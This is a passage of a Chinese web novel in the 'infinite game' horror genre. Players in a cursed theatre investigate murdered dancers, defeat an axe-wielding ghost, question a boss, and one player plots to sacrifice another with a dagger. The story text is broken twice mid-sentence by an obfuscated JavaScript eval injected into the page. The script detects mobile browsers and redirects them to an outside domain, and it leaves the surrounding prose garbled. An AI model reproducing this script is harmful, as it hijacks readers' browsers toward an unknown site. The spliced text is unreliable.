孟绎更费解了,他的五感不算非常灵敏,但还是比普通人类强一些。他早就闻到一团气味——刘明的气味,从后方接近他,还有鞋子踩在血泊中咕叽咕叽的声音。 本以为刘明想搜查这一组抽屉,孟绎主动表示友善,他怎么跑了? 人类真是一种难以理解的生物。 换衣间入口处。 常昊始终不敢进入摆满尸体的房间,缩在帘子后面,不时探头探脑。 就在五秒钟前,常昊再次从帘子缝隙中窥视房间内的情况,猝不及防地,他看到刘明将一把匕首藏在身后。 匕首反射灯光,亮得刺眼。 常昊缩回脑袋,后背抵着墙,全身一软,滑坐在地。 那把匕首的独特花纹……毫无疑问,就是老玩家口中的“献祭匕首”。 对没有特殊道具卡的新人来说,只要被这把匕首伤到,伤口深度超过2厘米,就会不可逆转地走向死亡。 常昊眼前一阵阵发黑,呼吸急促但不敢发出任何声音,他倏地攥住耳朵上的传音耳线。 要不要告诉孟绎?告诉他刘明手里有献祭卡,刘明选择孟绎作为献祭对象? 可是,孟绎大佬若知道了这件事,提高了警惕心,刘明没办法献祭孟绎,下一步会怎样做? 他不会把屠刀对准他的队友贺彩音,任谁都能看出来,他们之间达成了联盟。 刘明想离开副本,必须完成献祭卡的任务,排除孟绎,刘明只有一个选择—— 常昊用力揉着自己发麻的脸,胸膛因剧烈呼吸而起伏,大脑却缺氧似的一阵阵眩晕。 * 换衣间内,贺彩音和刘明进入拐角处的卫生间,压低声音嘁嘁喳喳。 “孟绎警惕性很高,刚才我从他后面靠近,没发出一丝声音,但他发现我了。”刘明惊魂未定,攥着献祭匕首的手用力到青筋暴突。 贺彩音:“孟绎不好对付,但外面的常昊……” “不行,至少现在不行,”刘明大手一挥,“这事不能着急,机会肯定有,我只要捅他一下,就……可以……” 话说一半,刘明脸色一变,直勾勾看着贺彩音后方的地板,那神情,分明是看到了恐怖的东西。贺彩音连忙回头一看。 她身后,是一个厕所隔间。 隔间门下方的缝隙中,有一封信,信封上用红色墨水密密麻麻地写满“去死”两个字。 没有寄信人,没有寄信地址。只有“去死”的诅咒。 贺彩音一点一点地把信拽出来,打开一看,信纸上写着:去死去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501700|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死去死去死去死…… 只有这两个字,写了成百上千遍。 贺彩音一把甩开信奉,像甩开一块热炭,随后,她轻轻握住隔间门把手,心一横,一把拉开门。 马桶里堆满了同样的诡异信封,信封上同样写满了“去死”。 “我们走吧,这卫生间太奇怪了。”刘明声音有点发抖。 贺彩音盯着马桶片刻:“算上掉出来的那封,一共12封信。” “啊?” “舞团有多少女演员?”贺彩音问。 刘明全身发麻:“我哪儿知道?” 两人惴惴不安地离开卫生间,回到换衣间一瞧,孟绎不知发什么神经,把被腰斩的人上半身和下半身接在一起,整整齐齐摆成一排。 嗯,把尸体拼在一起,尸体完整了,舞台服也完整了,更美观了。 贺彩音数了一遍:“十二人。”她的神情更加不安。 “人数有问题么?”刘明问。 孟绎朝他们投来询问的目光:“人数?” 贺彩音把他们在卫生间看到的内容告诉孟绎,随后蹙着眉头,又数了一遍人数,再次确认:“只有12个女演员?” 换衣间就这么大,一览无余,卫生间也只有三个隔间。 三人又搜了一遍,确定没有遗漏的尸体,又去查看男士换衣间。 男尸共六具,玩家在废纸篓里找到6封写满“去死”的信。 刘明越来越迷糊:“人数到底有什么问题?女的死了12个,12封信。男的死了6个,6封信。人数能对得上啊,或许是诅咒信件?拆开就会死?” “信由谁寄出?”孟绎将一团揉皱巴的信封展开,“没有寄信地址,也没有收信地址,信为什么会出现在换衣间?” 刘明小声嘟囔:“凭空出现在换衣间的呗,我们不也是毫无理由地来到这鬼地方了么。” “就算这是邪术,‘有人’把写满去死的诅咒信传送到换衣间,那也要‘有人’做这件事。”贺彩音说,“是谁做的?谁想诅咒舞团演员去死?是不是这个人将舞团演员腰斩?” 孟绎回忆一番,整个舞团,有名有姓的就五个人:老团长莱斯特,男主舞布鲁图斯,两个副本BOSS克吉尼亚和克罗亚,还有女主舞麦格纳。其他人,全都东一块西一块地躺在换衣间。 被腰斩的人,都穿着舞剧《怨侣》的演出服,且有些演员的演出服只穿了一半。 惨剧发生的时间点,应该是一次彩排或正式演出前后,穿男主舞演出服的演员,不是布鲁图斯。 不可能是男主舞或老团长杀的,时间对不上, 新团长克罗亚,没理由诅咒全舞团的人去死。克吉尼亚,和新团长克罗亚的有亲属关系,她也没有理由诅咒舞团演员。 只剩下一个人:女主舞麦格纳。 彩排时,麦格纳已明显表现出对新团长的不满,并且,她杀了男主舞布鲁图斯。 诅咒信是女主舞写的?舞团演员都是被女主舞腰斩的?她为什么要这样做? 男女换衣间的分隔区。 常昊心急如焚、焦躁不安,他一会儿看看走廊,一会儿瞧瞧孟绎那边的情况。 再次掀开帘子时,常昊看见这样一幕:孟绎望着满地尸体,出神地思考着。 斜后方,刘明装作调查现场的样子,到处走来走去,另一只手在腰间摸索。有身体的遮挡,常昊看不见刘明在摸索些什么。 但五分钟前,常昊清晰地看到刘明手中那一把寒光闪闪的献祭匕首。 绕了几圈,刘明和孟绎的距离逐渐缩短到不足一臂。贺彩音背对着帘子,站在孟绎斜后方,向刘明做了个捅的动作。 刘明微微点头,寒芒露出一角—— ——“孟绎大佬!”常昊用他此刻能发出的最大的声音喊。 14.僵化剧院(12) 闻声,孟绎回头望去。 刘明把献祭匕首藏进袖子里,掩饰似的左右顾盼。 “我……我害怕……”常昊声音颤抖,肩膀紧紧缩在一起,装出一副被吓破胆的样子。 然而,进入副本后一直像惊弓之鸟的常昊,此刻竟没有丝毫恐惧。他的思维无比清晰,像紧密编织的布料。 他心中只想着一件事:不能让刘明献祭孟绎。 但……应该告诉孟绎献祭卡的事么? 孟绎救过他一命,还帮助他搜集哑盐,对常昊恩情似海。但是,刘明也救过常昊的命啊。 电梯事故时,常昊吓得浑身瘫软,若不是刘明生拉硬拽地把常昊半截身子扯出来,常昊必然当场摔死。 “孟绎大佬,我跟在你身边,不然我害怕。”常昊哆哆嗦嗦地说,只想着尽可能延缓这场献祭。 常昊胆子小,是有目共睹的,刘明和贺彩音谁也没想到常昊故意打断暗杀,只当这次倒霉。 但刘明还是窝火,没好气地说:“看你那怂样,胆子比老鼠大不了多少!” “不,不是我胆子小,”常昊随口扯谎,“我我我……我刚才听到走廊里有奇怪的声音。” 在闹鬼的副本里,这种谎话谁也不会去验证,剧院里时时刻刻有奇怪的声音。可就在常昊说完这句话时,走廊里当真传来异响。 那声音尖锐刺耳,像金属与硬物摩擦。 听到这声音时,常昊第一反应竟然不是害怕,而是感谢命运的巧合,意外恰在此时发生,可以帮他圆谎。 透过帘子往外一瞧,先看到的,是一块染血的纱裙。 “这是什么玩意儿?”刘明打了个寒颤。 门帘距地面越20厘米,换衣间内的玩家们,先看到染血的裙摆和被血液染红的舞鞋。 随后是巨斧的斧刃。 刚才的尖锐声音,就是帘子外的人在瓷砖上拖拽巨斧发出的摩擦音。 贺彩音拿出【冶炼锤】,这是新人玩家唯一可制作的武器。锤子长度不足半米,任谁都能看得出来,用这把小锤子和巨斧战斗,无疑是螳臂当车。但他们只有这一种武器。 巫鬼没发现男士换衣间里有人,拖着巨斧,进入女士换衣间。 众人目不转睛盯着帘子半晌,女士换衣间里不时传来“滋啦——”“滋啦——”的摩擦音。 刘明一步步挪到帘子旁边,掀开一角,向外望去,只见一人身穿女主角舞蹈服,拖着巨斧,在女士换衣间里转来转去。 那把巨斧,刘明一辈子也忘不了,他在《怨侣》彩排时见过,用于腰斩的斧头。 “我猜对了,凶手是女主舞。”刘明耳边,冷不防响起一个声音,他吓得嗷一声叫唤出来。 扭头一看,竟然是孟绎,他也打量着女鬼的背影,神态非常从容。 刘明从牙缝里挤出来几个字:“闭嘴,别害死我们!” 孟绎置若罔闻,没有压低音量,而是用换衣间内所有人都能听到的分贝说:“她锁定敌人的方式不包括声音。” “闭——嘴——”刘明咬牙切齿地说。 “她若是有听力,刚才你叫唤了一声,她肯定会发现你。”孟绎继续说。 巫鬼的灵魂被卡牌封印后,感官系统与常人迥异。比如有些鬼只能看到红色的物体,有些鬼被注视时会停止移动。游戏玩家们称之为“机制”。 搞清楚巫鬼的机制,对玩家大有裨益。 “所以你刚才故意吓唬我,让我发出声音,帮助你测试巫鬼的机制?”刘明怒不可遏。 孟绎非常无辜:“我也没想到你会被吓到尖叫。” “我现在没工夫和你拌嘴,你这个阴险的人。”刘明的袖口闪过一丝寒芒,他再次拿出献祭匕首,恨意逐渐加深。 孟绎也慢吞吞地找着什么东西,语气一如既往地平静:“我只想和你玩一玩,又没想要你的命,哪里阴险了。” 献祭匕首在袖口里抖了一下,刘明更用力地握住,他盯着孟绎在衣兜里掏东西的手,声音阴沉:“你什么意思?” 孟绎没回答,而是嗖地从口袋里拿出来一个寒光闪闪的东西。刘明条件反射地准备攻击,定睛一看,孟绎拿出来的,竟然是一把剪刀。 咔嚓咔嚓,孟绎开始剪门帘。 刘明:…… 他刚想骂脏话,余光看见,麦格纳拖着巨斧,缓缓转过身。 “别剪了,别害死我们所有人!”刘明低吼。 孟绎:“我当诱饵,吸引麦格纳。你们可以趁机逃跑。” 刘明再次沉默。他来到换衣间,就是想找机会献祭孟绎,怎么可能逃跑。 “为什么不跑?”孟绎问,“跟着我,对你而言,有什么好处?” 刘明握紧袖子里的献祭匕首,一言不发。 恰在此时,麦格纳发出野兽般的嘶吼,巨斧摩擦地砖的尖锐声音更加急促、刺耳,地板微微颤动。 麦格纳追过来了! 贺彩音和常昊慌忙寻找躲避物,刘明不知道该趁此机会杀了孟绎,还是先躲一下。孟绎时幸运F,女鬼优先攻击他,或许可以趁乱捅孟绎一刀…… 孟绎依然不慌不忙地剪着门帘。 巨斧抡起来时,空气嗡嗡颤动。 门帘哗啦一声砸下来,巨斧砍碎门框,嵌入混凝土墙壁。一切都发生在电光火石间,没留出一点反应时间。 刘明只看到眼前有个黑影闪过,再回过神时,他已和麦格纳面对面。 只有他和麦格纳,孟绎已消失在视野中。 麦格纳佝偻身躯,喘着粗气,厚重的舞台妆斑驳,像一张狰狞可怖的面具。 “快跑!”贺彩音喊。 刘明如梦初醒,抱头鼠窜。他转过脸一看,顿时恨得牙痒痒:孟绎仗着反应速度快,在麦格纳冲过来的那一刹那,就跳到化妆桌上。 此刻,孟绎正抱膝蹲在化妆桌上,睁着一双纯良清澈的眼睛,一眨不眨地望着刘明,仿佛把怪物引过来的人不是他一样。 麦格纳从墙壁中拔出巨斧花了点时间,第一次攻击稍慢,刘明勉强躲过。 接着是第二次、第三次攻击,如疾风骤雨扑面而来,刘明满地乱滚,还是没躲过。 巨斧再次朝刘明砸过来时,他已被逼到化妆桌底下,避无可避,绝望地闭上眼。 叮—— 清脆的碎裂声。 预想的疼痛没有出现,刘明全身僵硬,缓缓睁开眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511533|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个防护罩出现在他眼前,被巨斧砸出蛛网状裂纹。 护心符!护心符救了他一命。 刘明死里逃生,惊魂未定,让他更惊讶的事很快发生了:麦格纳竟像没看到他似的,拖着巨斧,缓慢僵硬地转动脖子,四处顾盼。 这是怎么回事?护心符只能抵挡一次致命攻击,不能消除怪物仇恨,怪物应该继续攻击他啊。 “别动。”孟绎的声音从刘明头顶传来,“麦格纳只能看到移动的物体。” 孟绎抱膝蹲在化妆桌上,他说这句话时,麦格纳就在他面前,相距不足半米,但她一点儿反应都没有,仿佛孟绎只是墙纸。 幸运F发出声音都没被攻击,其他玩家安心一些。刘明不禁破口大骂:“你故意的是吧!把怪物引过来,毁了我的护心符!” 孟绎没理他:“麦格纳背对我们时,缓慢移动,离开这里。” 房间角落,贺彩音试探着往前走了两步,在麦格纳回头时及时静止。麦格纳果然没攻击她。 常昊和刘明也一点一点往外挪。 钻出化妆桌,刘明抬头一看,孟绎还蹲在桌子上,他身边摆满瓶瓶罐罐。真不知孟绎怎么做到的,他那么大一个人跳到桌子上,竟然没打翻一瓶化妆品。 刘明忽然间想到一件事,小眼睛里闪着精光:眼下的情景,简直是暗杀孟绎的天赐良机。 大部分时间不能移动,有无数机会捅他一刀。 刘明反而不着急逃跑了,他假惺惺地说:“谢了,孟绎,你最先发现麦格纳的机制,也算救了我一命,我们既往不咎。” 孟绎:“唔。” 换衣间面积不大,说话时,贺彩音和常昊已一点点蹭到换衣间门口,正疯狂冲孟绎和刘明打眼色,让他们快点跑。 “你找个机会跳下来,我们一起离开换衣间。”刘明说。 此时,拎着巨斧的女鬼再次转身,正脸对着换衣间内的刘明和孟绎。 孟绎蹲在桌上,打量着脚边的化妆品,认准其中的一瓶,轻轻把化妆品推到桌子边缘。 刘明一惊:“你干什么!别乱动,女鬼会看到移动的物体!” 孟绎偷眼观察刘明的神色,那模样,像极了准备捣乱的坏猫。 当着刘明的面,孟绎手指往前一送,化妆品叮叮当当掉在瓷砖上——正正好好掉在刘明面前。 寒光一闪,巨斧斧刃贴着刘明的鼻子划过。女鬼连砍了十几次,把化妆品瓶和瓷砖砸成一地碎渣。 这一刻,刘明差点也被吓得失禁。 刘明保持全身静止,嘴唇不动,从牙齿缝隙中挤出几个字:“你就是故意的,对吧?” “嗯,故意的。”孟绎平静地说,仍没什么表情,“你想杀我,那我陪你玩一玩。” 刘明全身一震,用眼角瞪着他。 常昊叫孟绎时,孟绎回头看了一眼。刘明收回献祭匕首的速度很快,但对孟绎来说,还不够快。 他看到了那把献祭匕首,也终于搞明白,刘明为什么一直跟在他身后。 孟绎玩心很重,且对“坑害其他玩家”这件事没什么道德负担,他以前就是干这个的。 他又推倒一瓶化妆品,恰好落在刘明面前。 15.僵化剧院(13) 每一次麦格纳要停止攻击时,孟绎就把一瓶化妆品推到地上,刚好卡在可以让斧刃擦着刘明鼻尖划过、但不会让刘明受伤的位置。前提是刘明面对狂风骤雨般的攻击仍然能保持静止。 第三次把化妆品推倒,刘明忍无可忍,破口大骂,身体稍一晃动,斧刃擦着他的颧骨砸在地上,血花飞溅。 刘明侧脸的皮肉翻开,露出浸血的后槽牙,他眼白里的红血丝一根根爆开,愣是咬着牙,一动不动。 “孟绎,你别欺人太甚。”刘明一字一顿地说。 【不是哥们,你想杀孟绎,孟绎只是逗逗你,到底谁欺人太甚啊】 【双标这一块,登堂入室】 孟绎当真收手了,倒不是他畏惧刘明的威胁,而是他玩腻了。 他把一瓶面霜偷偷推到桌子边缘,这次,面霜的落地点将离刘明很远。 “贺彩音,”孟绎说,“我吸引麦格纳的注意力,你用冶炼锤敲死她。” 只有卡牌道具能伤害到巫鬼,队伍里,只有贺彩音有攻击类卡牌。 孟绎的提议,贺彩音不太赞同,她都挪动到换衣间门口了,只需要麦格纳背对她两三秒钟,她就能逃离这里,为什么要冒险攻击麦格纳? “我,我不敢,”贺彩音装出很恐惧的模样,“冶炼锤只有一条手臂长,怎么和巨斧女鬼抗衡。” 孟绎:“那你把冶炼锤扔给我。” 趁着女鬼转身,贺彩音把冶炼锤扔过去。高速移动的物体吸引麦格纳的注意,她上半身一拧,转了180度,抡起的斧刃从刘明胸前划过,吓得刘明面色灰青,全身觳觫。 当啷。玻璃瓶落地的声音。孟绎还嫌场面不够乱似的,又把一瓶化妆品推到地上。 刘明的神经已紧绷到极致,此刻风声鹤唳、草木皆兵。再次听到化妆品掉落的声音,他惨叫一声,瘫软在地。 阴影将刘明笼罩,女鬼的转了三百六十度,拧了一个圈,面对刘明露出狞笑,双手高高举起巨斧。 嗡的一声,斧刃劈开空气,刘明紧紧闭上眼。 温热的血液喷到刘明脸上,还带着点儿草木的清香。紧接着,巨斧的斧柄砸到他脑袋,令他头晕目眩。 刘明被砸得七荤八素,睁眼一看,冶炼锤尖端从后脑勺刺穿女鬼的脑袋,又从眉心刺出。女鬼怒目圆睁,口吐鲜血。 她的双手仍高举着,但已握不住巨斧。此时的动作,竟像一个优雅的舞蹈手位。 孟绎拔|出锤子,甩起一串血珠,像冶炼时溅起的铁花。紧接着是第二次攻击、第三次攻击…… 一次次的锤击之下,麦格纳的身躯如融化的钢铁玩偶。皮肤浮现金属光泽,面容迅速模糊,逐渐被捶打成一摊看不出形状的物体。 叮。 最后一锤落下,女鬼变成一张卡牌,牌名是【疯狂主舞·麦格纳】 系统:“【杂役-孟绎】已击败【疯狂主舞·麦格纳】” “辅助玩家按贡献由高到低排列:【杂役-贺彩音】【杂役-刘明】【杂役-常昊】” “奖励已发送至各位玩家的卡牌库。” * 一层篝火房。 孟绎和常昊围坐在黑篝火旁。 “第二罐哑盐。”孟绎把一只装满银白色小碎块的玻璃瓶递给常昊,“你该践行诺言了。” 常昊迷迷糊糊地接过哑盐,冷不防想起,他要答应过孟绎,向秘术师询问剧院中发生过什么。 算一算时间,和孟绎达成合作也就是半小时前的事。但这半个小时发生过太多事,主观感受比一年的时间还漫长。 常昊花20分钟制作出【冶炼锤】和【护心符】,孟绎也缝制了一只【诱饵娃娃】 一切准备就绪,二人来到出口的位置。在这里和秘术师交谈,一旦发生意外,常昊还可以迅速逃离副本。 孟绎把傀儡娃娃放好,缝纫针刺它囟门的位置,娃娃登时有了生命似的,手舞足蹈,桀桀怪笑。 孟绎一松手,娃娃跑到常昊身边,无端起了一股凉风,让常昊直打寒颤。 “嘻嘻……你想我了么?”克吉尼亚的笑声在耳畔响起,常昊浑身一僵,余光看到,一只涂着红指甲油的手,搭在他的肩膀上。 孟绎躲在不远处,通过传音耳线对常昊说:“问问她知不知道麦格纳为何杀人。” “麦,麦格纳,为什么,杀人。”常昊死死攥着胸前的护心符,小儿学话似的重复。 克吉尼亚瓷娃娃般精致的脸,擦过常昊的耳朵,她微微笑着,牙齿白得瘆人:“因为她疯了。” “她接受不了自己的黯淡,发疯了。她要毁掉所有人的前程,包括我。”克吉尼亚的笑容淡去。 皮肉炸开的声音,在寂静的走廊里清晰可闻。克吉尼亚的脸多出二十几道划痕,美艳转瞬变为罗刹。 克吉尼亚啜泣着,讲述起舞团的往事。 舞团曾辉煌如星河,主舞麦格纳的地位则是众星拱月。她是台柱子,是明星,是舞台上最耀眼的那一位。 但人终究不是月亮,人的光芒总会黯淡。麦格纳过气了。 她的失色,影响了整个舞团,收益和上座率一天不如一天。 可总有人会散发光芒,克吉尼亚就是要取代麦格纳的那一位。 准备《怨侣》的巡演时,麦格纳的状态越来越差,频频失误。她曾经如天鹅般高傲,接受不了自己的失败,将怒火撒在男朋友和老团长身上。 麦格纳怨男朋友布鲁图斯的配合不够好,怨老团长的教导方式不对,她的怒气搞得舞团里人心惶惶,终日不宁。 而有天赋、更谦逊的克吉尼亚,逐渐获得所有人的青睐。 老团长见麦格纳的状态越来越差,严肃地对她说:你再这样下去,就不能跳女主角了,我会让克吉尼亚接替你。 “她彻底疯了,逼死了老团长。我的母亲接任团长的位置。” 孟绎想到副本中另一个BOSS克罗亚,她们果然有亲属关系。 “我的母亲很惜才,没有偏袒我,而是让麦格纳继续跳女主角。” 但麦格纳的状态没有恢复,她愈发疯癫,觉得所有人都不对,所有人都想害她。 无奈之下,新团长克罗亚宣布:克吉尼亚将担任女主舞。 “巡演前,麦格纳划花了我的脸,走进属于我的主舞化妆间。”克吉尼亚抚摸着自己脸上的伤口,又哭又笑,那模样十分可怜,“她在舞台上出现重大失误,演出非常失败。” 麦格纳的怒火烧毁了每一个人,下台后,她将舞团所有人腰斩。 讲述完往事,克吉尼亚脸埋在膝盖里,哭得上气不接下气:“你知道我为什么非来这个舞团不可么?” 常昊呆呆地问:“为什么?” “麦格纳是我的偶像。”克吉尼亚低声咆哮,双手死死攥住纱裙裙摆,“她不仅毁了我,还让我看到月亮坑坑洼洼的那一面!” 走廊拐角处,孟绎听完全程,隐约觉得哪里不太对,但又说不出来问题。 人类的情感幽微曲折,对孟绎来说太复杂了。比起揣摩人心,孟绎觉得自己更适合往刘明身边扔一只诱饵娃娃,再吓刘明一次。 直播间观众比孟绎更先反应过来。 【观看彩排时,麦格纳被新团长批评,克吉尼亚笑得幸灾乐祸,这是对偶像的态度?】 【老团长被逼死了?是不是那个吊死鬼,麦格纳做了什么,能把老团长逼死?】 【先别急,还没进入隐藏剧情线呢,肯定反转。】 孟绎也发现一个没有被提及的细节:“问问她心脏的事。” “对!心脏!”常昊两次被多出来一颗的心脏吓丢了魂,连忙问,“你为什么每次见到我,我都会多出一颗心脏?” 闻言,克吉尼亚从膝盖中抬起头,被毁容的脸,绽开一个令人毛骨悚然的微笑:“麦格纳状态差,就向她男朋友布鲁图斯发脾气。” “布鲁图斯苦不堪言,曾向我哭诉。我想和布鲁图斯一起帮助麦格纳,帮助我们心中的偶像找回状态。” “但麦格纳诬陷我用邪术偷走了布鲁图斯的心,说我是第三者。” 克吉尼亚脸上的伤口逐渐愈合,她又变得美艳妖娆,摄人心魄,细长冰凉的手指抚过常昊的下颌,嘻嘻笑着:“澄清谣言很难,但坐实谣言,一点都不难嘛。我也被麦格纳,逼、疯、了……” 【怪不得呢,彩排时克吉尼亚幸灾乐祸,那时她已经对麦格纳恨之入骨了吧】 【没想到克吉尼亚也是个可怜人】 常昊最害怕克吉尼亚,尤其怕克吉尼亚露出这般笑容。他急促地呼吸着,不敢继续问,也不敢逃跑,等待孟绎下一步指令。 “问问她腰斩 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比起小BOSS巫术师,孟绎更喜欢大BOSS秘术师,毕竟他没几张卡牌,对付巫术师常被规则限制。 秘术师就不一样了,对他们造成真实攻击,不需要卡牌,只需要拳脚。 孟绎抻了个懒腰,活动活动颈椎,缓步向克吉尼亚走去。 克吉尼亚已捏碎了常昊的护心符,忽然间,她感受到一种仿佛能挤碎肋骨的威压。 她看到孟绎,转身就跑。 孟绎脚一蹬地,如离弦之箭,眨眼间飞到克吉尼亚身边,单手握住她的脖子,把她往地上一掼。 克吉尼亚惨叫一声,半晌爬不起来,孟绎也不着急,颇有耐心地等她站起来挣扎着跑远,才冲上去不紧不慢地补了一拳。 【孟绎你……又抓又放的,这是在干嘛?】 【果然是一只坏猫,拿猎物寻开心呢。】 数次拉扯后,克吉尼亚怒吼一声,脑袋上下颠倒地转了一圈,瞬间换了张凶神恶煞的脸,呲出獠牙,数倍膨胀的紫青色巨掌朝孟绎的脑袋拍过来。 孟绎后跳半步,不慌不忙躲过这次攻击。 系统:“【野兽舞者·克吉尼亚】使用【绝技】攻击【杂役-孟绎】。” “【杂役-孟绎】已解锁任意一位秘术师的【绝技】,获得《信仰秘典》” “您可以在《信仰秘典》中查看秘术师、巫术师已解锁的背景故事、攻击方、弱点等信息。” 直播间观众被这风驰电掣般的速度惊呆了。 【秘术师狂化30秒,就逼得秘术师出绝技了???】 【孟绎不只是逗它玩,是为了解锁《信仰秘典》啊!】 【感受到玩家间的参差,我过12个副本了,还没解锁秘典呢,这才是新手副本啊!】 【前面的,别灰心,我过20个副本了,一次隐藏线都没进过。完成搜集任务能活着出去,对我们来说已经很有挑战性了。】 克吉尼亚以四脚着地的野兽姿态跑远,孟绎没继续追,而是把四肢瘫软的常昊揪起来,往出口的方向推:“走吧。” 距离隐藏副本开启,还有257秒。 常昊紧紧握了一下孟绎的手:“大佬,两次救命之恩、啊不、三次……我也数不清多少次救命之恩了。我感激不尽。” 孟绎:“唔。” “也谢谢您的礼物……”常昊按了按腰间,那是系统仓库的位置,“您一定会活着离开僵化剧院的,再会!” 他忙不迭地往外跑,在常昊的背影消失前,孟绎转身离开。 * 系统:“【杂役-常昊】已完成任务,离开副本【僵化剧院】” 五楼,舞团团长办公室。厄运蜡烛静静地燃烧着,桌面上摆着一张杂役级献祭卡。 转换卡刚烧出来的灰烬,在空气中漂浮。 听到系统的声音,贺彩音和刘明全身一震,同时抬起头,恐惧地对视。 刘明试探着触碰转换卡,仿佛那张卡牌是地|雷。他抱着某种不死心的期待,将卡牌翻到背面。 卡背上赫然写着两行字: 卡牌状态:受损 绑定玩家【杂役-贺彩音】 16.僵化剧院(14) 半小时前,换衣间。 系统:“【杂役-孟绎】已击败【疯狂主舞·麦格纳】” “辅助玩家按贡献由高到低排列:【杂役-贺彩音】【杂役-刘明】【杂役-常昊】” “奖励已发送至各位玩家的卡牌库。” 听到系统提示音,一直精神紧绷的玩家们顿时卸了力气,纷纷瘫坐在地,缓了好一会儿,才有精力查看系统奖励。 贺彩音打开仓库一看,她获得的奖励是【巨斧】和【设计手稿:巨斧】,主舞麦格纳同款。 巨斧虽是杂役级武器,但攻击力高,体积大,还可以用于防御,且有一个增益属性:攻击敌人的腰部,将造成双倍伤害。 对于杂役等级的玩家来说,巨斧是他们可以使用的顶级武器。新手副本就能获得这样一把武器,实属意外之喜。 再看刘明,他获得了一张功能卡【静默祈祷】,剩余使用次数:3次。 将该功能卡与任意武器、装备绑定,可以隐藏气息、脚步声、呼吸声,减少被怪物发现的概率。 “挺有用。”刘明咕哝着,小心翼翼将卡牌收好。 无限游戏里,玩家通常对自己获得的卡牌藏着掖着,不愿意告诉其他人。刘明和贺彩音互相信任……至少暂时互相信任,他们没有隐瞒自己获得的奖励。 二人交流结束,同时向孟绎投去目光。 奖励按贡献排名发放,排在第二位、第三位的贺彩音和刘明,都获得了有用的卡牌,孟绎的奖励又是什么? 正想着,身旁的常昊哀嚎一声:“给我这种奖励是在羞辱我么!因为我全程观战?” 常昊欲哭无泪地望着手中的道具卡,牌名是【礼装:魔术师】 经常玩游戏的人都知道,礼装除了好看,一点用也没有。 “我想看看你的礼装。”孟绎蹲在常昊面前,单手捏住卡牌,轻轻拽了拽。 “大佬,我这张卡牌上供给您,别拒绝,收下吧。什么礼装啊,让我花里胡哨地死去么?”常昊将卡牌推到孟绎怀里,找了个角落自闭。 孟绎拿着卡牌,心念一动,一套普鲁士蓝配祖母绿的礼服凭空出现,搭在他手臂上。 礼服整体呈维多利亚风格,带一点哥特元素,海盗服的蕾丝袖口纤巧华丽,皮靴上的每一颗纽扣都打磨得齐整圆润,领口、肩膀、衣兜处的处理挑不出一点毛病。 孟绎越看越喜欢,喜欢到不想还回去。 “我用我的奖励和你交换这套礼装。”孟绎说。他并不是在询问,如果常昊不同意,孟绎也不介意强行交换。 常昊:“啊?” 击败疯狂主舞麦格纳,孟绎是主力,常昊贡献排名倒数第一,孟绎获得的奖励肯定稀有、最丰厚,而常昊的奖励最没用。孟绎愿意交换? 【我看到孟绎的奖励了,他可千万别犯傻,那东西用处大着呢。】 【前期能获得孟绎手里这些,经济上没有一点压力,身份卡升到四阶之前,完全不需要担心金币不够用。】 “您真的要换?礼装可没……什么……用。”常昊话说一半,孟绎已将他获得的两张卡牌放在常昊手中,抱着衣服离开。 常昊愣住了。 那两张卡牌分别是【杂役-转换卡】和【设计手稿:转换卡(杂役等级)】 贺彩音和刘明缓缓睁大眼睛,孟绎怎么想的?竟然用转换卡的设计手稿交换一件没用的礼装?? 有了这张杂役等级的设计手稿,他就能不限量地制作杂役等级的转换卡,无论是自己用,还是卖给其他玩家,都比一件只有观赏作用的礼装强啊! 他们不知道的是,设计手稿对孟绎来说,等同废纸。 孟绎作为最终BOSS时,有一份脏活就是帮系统制作卡牌。不需要设计手稿,孟绎也知道如何制作转换卡。都退休了,谁还需要PPT模板? 当刘明看清“转换”二字时,眼中亮起狂热的光芒。 如果能获得这张转换卡,说不定,他就能摆脱手里这张献祭卡!只要转换结果不是行为卡,他就能离开这个副本了! “常昊老弟,”刘明倏地攥住他的手,“帮哥一次。” 常昊条件反射地紧紧攥住手里的卡牌。 “献祭卡的事被孟绎发现了,我也不遮遮掩掩了,”刘明拿出他那张献祭卡,“我必须杀死一个队友,才能从副本中离开。” 尽管常昊早就知道这件事,但听刘明这么直接说出来,还是心中一颤。 刘明:“我也不想杀害队友,游戏规则逼我这样做。咱们都是倒霉蛋,莫名其妙来到这鬼地方。我们无冤无仇,我没有杀害你们的理由。” “老弟,你把转换卡借给哥用一用,我只想摆脱这张献祭卡,”刘明举起手中的卡牌,“我不想害任何人,真的。” 常昊呆呆的,还没回过神,就听刘明继续说。 “你放心,我绝不惦记你的设计手稿。”刘明举起手指发誓,“你有了设计手稿,转换卡想要多少就有多少,在交易中心躺着赚钱。等哥离开这个副本,去支持你的生意,怎么样?” 此言在理,有了设计手稿,只需要集齐材料,提高熟练度,常昊能获得几十张、上百张转换卡,不差手里这一张。 而且,常昊已完成新手副本的搜集任务,随时可离开副本,目前不需要转换卡。 常昊仍死死握着卡牌:“可是,这张转换卡是孟绎大佬赠予我的,孟绎大佬同意的话,我当然愿意把转换卡给你。” 三人不约而同地转过头,望着房间另一侧的孟绎。 孟绎正研究礼装前襟的针脚,察觉到三人的视线,略有些茫然地抬起头。 完全处于状况外的模样啊……他怎么能在副本中置身事外? “孟绎大佬,”常昊小心地问,“我可以把这张转换卡给刘明么?” 